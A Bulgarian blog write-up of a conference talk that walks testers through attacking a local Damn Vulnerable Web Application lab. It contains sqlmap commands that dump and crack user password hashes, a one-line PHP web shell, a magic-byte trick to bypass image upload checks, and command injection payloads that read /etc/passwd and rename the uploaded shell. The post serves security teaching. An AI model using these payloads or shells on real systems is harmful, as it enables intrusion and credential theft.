Security testing – fast forward. The lecture

По-долу е лекцията, която изнесох на QA: Challenge Accepted 5.0. Различно е отсъствието на плоските шегички и малко по-подробната на места информация.

Като начало, вместо начало

Scope-а на лекцията е да демонстрира няколко добре известни атаки под формата на един общ процес. Това са:

1. Да намерим потребителските имена и пароли в база, до която нямаме credentials;
2. Да качим зловреден код прескачайки (добре) написана upload функционалност;
3. Да изпълним кода и да получим съдържанието на произволен файл в системата.

Инструментариума, който ще използваме е:

• Docker;
• Damn Vulnerable Web Application (който ще си стои в контейнер, за да не си потрошим локалните бази);
• Python;
• sqlmap;
• WinHex;
• Търпение.

Подготовка на средата:

Инсталацията на Docker и Python са като всяко друго windows next-next-finish приложение. След това идва драмата.

За да вдигнете цялата си среда, трябва в command prompt (start menu – cmd) да изтеглите docker repo-то:

https://hub.docker.com/r/vulnerables/web-dvwa/

Сега repo-то на DVWA заедно с апаче, база данни, PHP и една кофа неща са при вас. За да ги направите достъпни, трябва просто да стартирате контейнера:

docker run --rm -it -p 80:80 vulnerables/web-dvwa

1. SQL Injection

SQL Injection най-общо казано е възможност за изпълняване на нерегламентирани SQL statements като SELECT, UNION и т.н., които не са предвидени в текущата функционалност на приложението. С други думи ако параметризирате без подходяща валидация и/или санитизация някой параметър, може да има драма. Пример за драма:
GET request:

http://nedko.info/sql_injection/inj.php?drama=1

Кода, който работи отдолу:

$drama = $_GET[‘drama’];
$getDrama  = “SELECT * FROM vulnerabilities WHERE type = ‘$id’;”;

Ако въведете валидни данни всичко ще е супер, ноо (второто О е за допълнителна драма) ако счупите заявката ще стане любопитно.

Най-елементарния и емблематичен пример е Светия Апостроф. Ако набием един ‘ след параметъра ?drama=1’ ще строшим SQL заявката.

Пример в DVWA с класически SQL injection (линк към локалния DVWA – http://localhost/vulnerabilities/sqli/):

Но понеже живота на penetration tester-а (или на смъртния човек, който е решил да се занимава с това) не винаги е лесен (никога не е) и може вече някой програмист далновидно да е решил да направи валидация и да избегне този балъшки тест.

Тогава идва ред за нашето последно късче надежда или т.нар. Blind SQL Injection (или както след лекцията някой каза – Орхан Мурад SQL injection), който можете да намерите в менюто на DVWA – SQL Injection (Blind). По самото си същество това е същата уязвимост, но не получаваме веднага потвърждение от типа на бял екран или експлозия на еднорози. Но лесно можем да проверим какво става като отворим inspector-а на Chrome (естествено става и с всички други модерни браузъри, дори и с Онова, което никой не нарича браузър) и влезем в таб Network. Там ще минат всички request-и (POST/GET ни интересуват най-много, но ще видите и images, JS, CSS files и всичко от което има нужда ресурса, който сте отворили).

Сега като набиете един ‘ в полето “User ID” наблюдавайте какво ще се случи в Network Tab-а:

За да продължим към екшъна ще ни трябват и кукитата на скрипта, защото все пак, за да достигнем тази функционалност минахме през логин. Cookies можете мега лесно да намерите на същия екран, но в подтаб (има ли такава дума?) “Cookies”:

До момента използвахме само браузъра за нашите дребни шегички с администраторите. Сега е ред да използваме нещо по-могъщо – sqlmap.

Note – чудите се къде са SQL break characters, къде ви е cheatsheet-а с който можете с copy/paste да трошите сайтове? Понеже на лекцията имах само 25 минути нямаше време за това, няма да го покажа и тук (освен ако някой наистина иска да види какво става отдолу, тогава на драго сърце бих дописал статията с малко теория). За наше щастие sqlmap прави всичко за нас. Ние само трябва да му дадем параметъра, който смятаме за уязвим и cookie-тата, за да може инструмента да се “логне”. Туй то, както казваме в Добричко/Варненския край.

sqlmap – our secret weapon

За да подкарате sqlmap, трябва да имате първо Python. Инсталацията му е лесна и няма да имате грижи.

По ред на information gathering процеса ще запиша тук всичките стъпки, през които трябва да минем:

python ./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” –dbs

Резултата:

И ето, че намерихме базата, която използва DVWA. Сега ще ровим още, за да получим имената на таблиците на същата база (ако новите и старите богове нямат нищо против):

./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -D dvwa –tables

Новите параметри тук са:

• -D dvwa – казваме, че целта на нашата задача е база с име dvwa
• –tables – покажи всички таблици от базата дефинирана по-горе.

И ето, че без много зор стигнахме до таблиците на база, за която нямаме никакви credentials. И понеже чичо Недко е нагляр по природа продължаваме да видим докъде можем да стигнем:

python ./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -D dvwa -T users –columns

Новите параметри тук са:

• -T users – целта ни е таблица с име users;
• –columns – покажи колоните на базата (това е нещо като show columns from [users] в mySQL).

И ето, че имаме всичката нужна информация за базата и структурата ѝ:

• DB name – dvwa;
• DB tables – guestbook, users;
• DB user columns – user, avatar, failed_login, first_name, last_login, password, user_id;
• Таблици, които са ни интересни – user и password.

Извеждане на потребители и пароли и декрпитирането им

python sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -C user,password –dump

Както забелязвате няма нужда да въвеждаме името на базата и таблицата тук, защото sqlmap си ги пази. Това значи, че ако решите да си reproduce-нете целия сценарии отново, трябва да минете през горните точки също.

И ето, че с последната команда направихме все едно един select user, password from users, взехме хешовете и направихме dictionary attack в който съпоставихме хешовете с тези в dictionary файла.
Естествено за демото паролите не бяха t@snipi4ki!, а тривиални, за да може да не използваме +10GB файлове и часове чакане, а покажем как работи sqlmap-а.

И ето, че потребителите, които имаме в базата са:

• 1337/charley
• admin/password
• gordonb/abc123
• pablo/letmein
• smithy/password

С това нашата задача приключи. Продължаваме напред, Кобра, с:

File Upload manipulation

Малко тъпо заглавие, но друго не измислих. Идеята е, че ще направим малък трик, с който ще успеем да качим PHP файл, който ще представим за PNG и в последстиве ще преименуваме директно на сървъра с command injection, за да изпълним зловредния си код (зъл смях).

Преди време имах трудни периоди с един програмист, който пишеше upload форми като казахтстански опълченец – без никакви валидации освен разширението на файла. След десетки спорове стигнахме до консенсуса да ползваме getimagesize в PHP. Хитринката е, че освен размера на image-а функцията проверява и дали файла е от тип image или някой хитряга се опитва да върти номера. Тогава при моите си опити да кача нещо друго освен image, не увенчах успех. Но днес ще ви покажа как да прескочим и това.

Нашия зловреден код ще е убер прост:

<?php

system($_GET[‘cmd’]);

?>

Когато го качим на сървъра, ще можем да извикваме параметри през него все едно сме в конзолата:
http://localhost/hackable/uploads/hack.php?cmd=ls /

Преди това обаче свръх малко теория – подобни функции изчитат сигнатурата на файла, която е в началото му и ако срещнат съвпадащи такива с типа, за който се представя файла, го приемат за чиста монета.
До момента, в който някой не реши да смени тази сигнатура (laugh in Spanish).

За да редактираме сигнатурата на файл, ни трябва HEX редактор и PHP кода от по-горе запазен във файл с разширение PNG (в моя случай е hack.png). На по-старите кучета, които са живели във времето, в което това беше актуално, няма да обяснявам какво е, а за по-новите кучета – също. Просто си изтеглете WinHEX или който и да е друг подобен инструмент, отворете hack.png и от страницата File Signatures Table намерете PNG и го копирайте в началото на файла:

И ето, че имаме handcrafted файл, който можем да си използваме да си тестваме upload формите.

Нека сега опитаме да качим файла през upload формата на DVWA:

И ето, че имаме качен успешно файла в две директории нагоре /hackable/uploads.
Ако сега го достъпим, браузъра ще се опита да отвори файла като image, но ще покаже някаква простотия. Пътя до файла е http://localhost/hackable/uploads/hack.png

Понеже сега не можем да изпълним PHP-то, идва ред на третата и последна атака, която ще направим днес:

Command Injection

Целта на тази атака е да намерим функционалност, която извиква директно команда от системата и да слепим с нея втора, която ние да си изберем. В конкретния случай ще преименуваме hack.png в hack.php.

Като цяло извикването на команда директно си е за бой, но ако извикате команда през PHP без да имате нужните валидации, сте за хвърляне зад Вала.
Както повечето атаки и тази разчита на липса на валидации за специфични кейсове. Атаката се осъществява мега лесно със знак за конкатенация. Пример за такива знаци има в кода на DVWA (ниво на трудност High):

Нашата нищожна атака ще е супер проста. Както виждате от примера по-горе на трети ред след| има интервал (демонстриращ, че човешката грешка също е важен показател). Тоест с | ще можем да слепим втора команда след валидно подадена такава (като не забравяме, че не трябва да има интервал след знака, за да не мине валицадията). Ето и пример с това как можем да видим системен файл директно от WEB чрез command injection:

localhost|cat /etc/passwd

И както виждате можем да видим съдържанието на системен файл без проблем, за това ще опитаме да преименуваме файла hack.png в hack.php и да го изпълним. Командата е:
localhost|mv ../../hackable/uploads/hack.png ../../hackable/uploads/hack.php

Изпълнението на зловещия план

След като създадохме файл, който специално обработихме, качихме и преименувахме, е време да го изпълним и да видим дали всичката тази играчка ще сработи. Ще се опитаме да видим съдържанието на конфигурационния файл на DVWA:

http://localhost/hackable/uploads/hack.php?cmd=cat%20/var/www/html/config/config.inc.php

След като го изпълните дайте view source (ctrl+u)

И ето, че с тези елементарни похвати успяхме да извлечем потребителските имена и пароли от базата на DVWA, да му прескочим upload формата и да изпълним произволна команда.

Линк с презентацията можете да намерите мааалко по-долу. Публикувам я as it is макар, че малко се счупи при импорта от PowerPoint към Google Slides. #Yolo (или както Исуската казва – #YOLT (you only live twice).

Заключение

На всички ни е ясно, че новите ORM frameworks например се грижат за SQL injection още на много ниско ниво, че command injections могат да се разрешат лесно с използването на почти произволен framework и правилна конфигурация, но всеки трябва да се замисли поне малко за сигурността, докато пише проложения, за да може тези, които го тестват да кимнат одобрително с глава и като го пуснат в production, да са поне една идея по-спокойни.

P.S. Ако ви е интересно мога да разпиша повече по темата с DVWA като XSS, CSRF, чупене на хешове с John the Ripper, сигурност в WordPress (скенери, атаки, как да се предпазим, а, у) и т.н.

P.S.S. Преди време говорих на WordPress meetup-а във Варна за сигурност, ако ви е интересно – има повечко системни неща, има и dictionary attack-а и подобни: